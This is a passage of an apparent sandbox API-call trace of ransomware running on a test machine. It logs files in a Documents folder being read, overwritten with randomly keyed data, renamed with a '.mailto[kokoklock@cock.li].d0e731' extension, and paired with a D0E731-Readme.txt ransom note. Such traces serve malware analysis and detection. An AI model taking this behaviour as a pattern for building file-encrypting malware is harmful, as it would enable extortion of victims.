(HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97138 [0178.221] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97138) returned 1 [0178.221] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0178.221] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0178.221] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c6ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c6ffcc0*=0x4096, lpOverlapped=0x0) returned 1 [0178.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.222] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.222] WriteFile (in: hFile=0x6f4, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c6ffcf8, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x2c6ffcf8*=0x20, lpOverlapped=0x0) returned 1 [0178.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0178.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.222] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x2c6ffd0c*=0x8, lpOverlapped=0x0) returned 1 [0178.222] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c6ffd24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2c6ffd24*, lpNumberOfBytesWritten=0x2c6ffd0c*=0x4, lpOverlapped=0x0) returned 1 [0178.222] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c6ffd0c*=0x4, lpOverlapped=0x0) returned 1 [0178.223] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c6ffd0c*=0x6c, lpOverlapped=0x0) returned 1 [0178.223] WriteFile (in: hFile=0x6f4, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x2c6ffd0c*=0x20, lpOverlapped=0x0) returned 1 [0178.223] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c6ffd0c*=0x4, lpOverlapped=0x0) returned 1 [0178.223] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0178.223] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0178.223] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0178.223] CloseHandle (hObject=0x6f4) returned 1 [0178.223] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f01a20 [0178.223] wcscpy (in: _Dest=0x4f01a20, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" [0178.223] wcscat (in: _Dest=0x4f01a20, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.223] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.224] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01a20) returned 1 [0178.225] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.225] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f8bbd0 [0178.225] wcscpy (in: _Dest=0x2f8bbd0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0178.225] wcscat (in: _Dest=0x2f8bbd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0178.225] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0178.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bbd0) returned 1 [0178.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d488) returned 1 [0178.225] RtlExitUserThread (Status=0x1) Thread: id = 2737 os_tid = 0xd10 [0178.226] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.226] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.227] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c77fc84 | out: lpFileSize=0x2c77fc84*=95586) returned 1 [0178.227] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x1755e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.227] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c77fc58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2c77fc58*, lpNumberOfBytesRead=0x2c77fc54*=0x4, lpOverlapped=0x0) returned 1 [0178.228] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0178.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0178.228] NtQuerySystemTime (in: CurrentTime=0x2c77fc30 | out: CurrentTime=0x2c77fc30*=132121213355471276) returned 0x0 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xee4ba772 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xf98aee3b [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x7ee44ae3 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x1bfa30dc [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x1248b10f [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xbed127ca [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xc493f21f [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xc8b156e5 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xe46ee73e [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x3e224ca7 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x3c8bcf9b [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xb7000539 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xe1a8f244 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x5c1e6723 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xec534cba [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x77bc47b7 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x79c7ed9d [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x220f8993 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x5869a9d4 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x37b19559 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x78a00ded [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xe7effd83 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xf14abde5 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x554cb6a2 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xe3a7b085 [0178.228] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xa75367a [0178.229] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x4a1afbc3 [0178.229] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x690fc1b5 [0178.229] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x2fdb4d76 [0178.229] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0xe25b2ad [0178.229] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x71f3e551 [0178.229] RtlRandom (in: Seed=0x2c77fc3c | out: Seed=0x2c77fc3c) returned 0x62f22716 [0178.239] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.239] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c77fc08, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c77fc08*=0x4096, lpOverlapped=0x0) returned 1 [0178.240] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0178.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88b68 [0178.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8b570 [0178.240] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b570) returned 1 [0178.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.241] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8b700 [0178.241] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8b548 [0178.241] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b548) returned 1 [0178.241] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b68) returned 1 [0178.241] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0178.241] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c77fc08, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c77fc08*=0x4096, lpOverlapped=0x0) returned 1 [0178.241] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.241] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x17562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.241] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f8b700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c77fc40, lpOverlapped=0x0 | out: lpBuffer=0x2f8b700*, lpNumberOfBytesWritten=0x2c77fc40*=0x20, lpOverlapped=0x0) returned 1 [0178.242] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b700) returned 1 [0178.242] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.242] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f8b340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2f8b340*, lpNumberOfBytesWritten=0x2c77fc54*=0x8, lpOverlapped=0x0) returned 1 [0178.242] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c77fc6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2c77fc6c*, lpNumberOfBytesWritten=0x2c77fc54*=0x4, lpOverlapped=0x0) returned 1 [0178.242] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c77fc54*=0x4, lpOverlapped=0x0) returned 1 [0178.242] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c77fc54*=0x6c, lpOverlapped=0x0) returned 1 [0178.242] WriteFile (in: hFile=0x6f4, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x2c77fc54*=0x20, lpOverlapped=0x0) returned 1 [0178.243] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c77fc54, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c77fc54*=0x4, lpOverlapped=0x0) returned 1 [0178.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0178.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0178.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b340) returned 1 [0178.243] CloseHandle (hObject=0x6f4) returned 1 [0178.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f96ef8 [0178.243] wcscpy (in: _Dest=0x2f96ef8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" [0178.243] wcscat (in: _Dest=0x2f96ef8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.243] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.244] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.244] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96ef8) returned 1 [0178.244] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.244] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f8b990 [0178.244] wcscpy (in: _Dest=0x2f8b990, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0178.244] wcscat (in: _Dest=0x2f8b990, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0178.244] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0178.244] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b990) returned 1 [0178.245] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85f18) returned 1 [0178.245] RtlExitUserThread (Status=0x1) Thread: id = 2738 os_tid = 0x694 [0178.246] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.246] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.247] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c7ffd8c | out: lpFileSize=0x2c7ffd8c*=35149) returned 1 [0178.247] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x8949, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.247] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c7ffd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2c7ffd60*, lpNumberOfBytesRead=0x2c7ffd5c*=0x4, lpOverlapped=0x0) returned 1 [0178.249] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0178.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0178.249] NtQuerySystemTime (in: CurrentTime=0x2c7ffd38 | out: CurrentTime=0x2c7ffd38*=132121213355624626) returned 0x0 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x7a0a8b4a [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x4d70f74e [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x83e022dd [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xa06069f3 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xba0dc873 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xac7fc315 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x8fb310bb [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x29f0e771 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x795b0401 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x138fd808 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xa9ae1e55 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xa6c21ad8 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x985ccb1d [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: 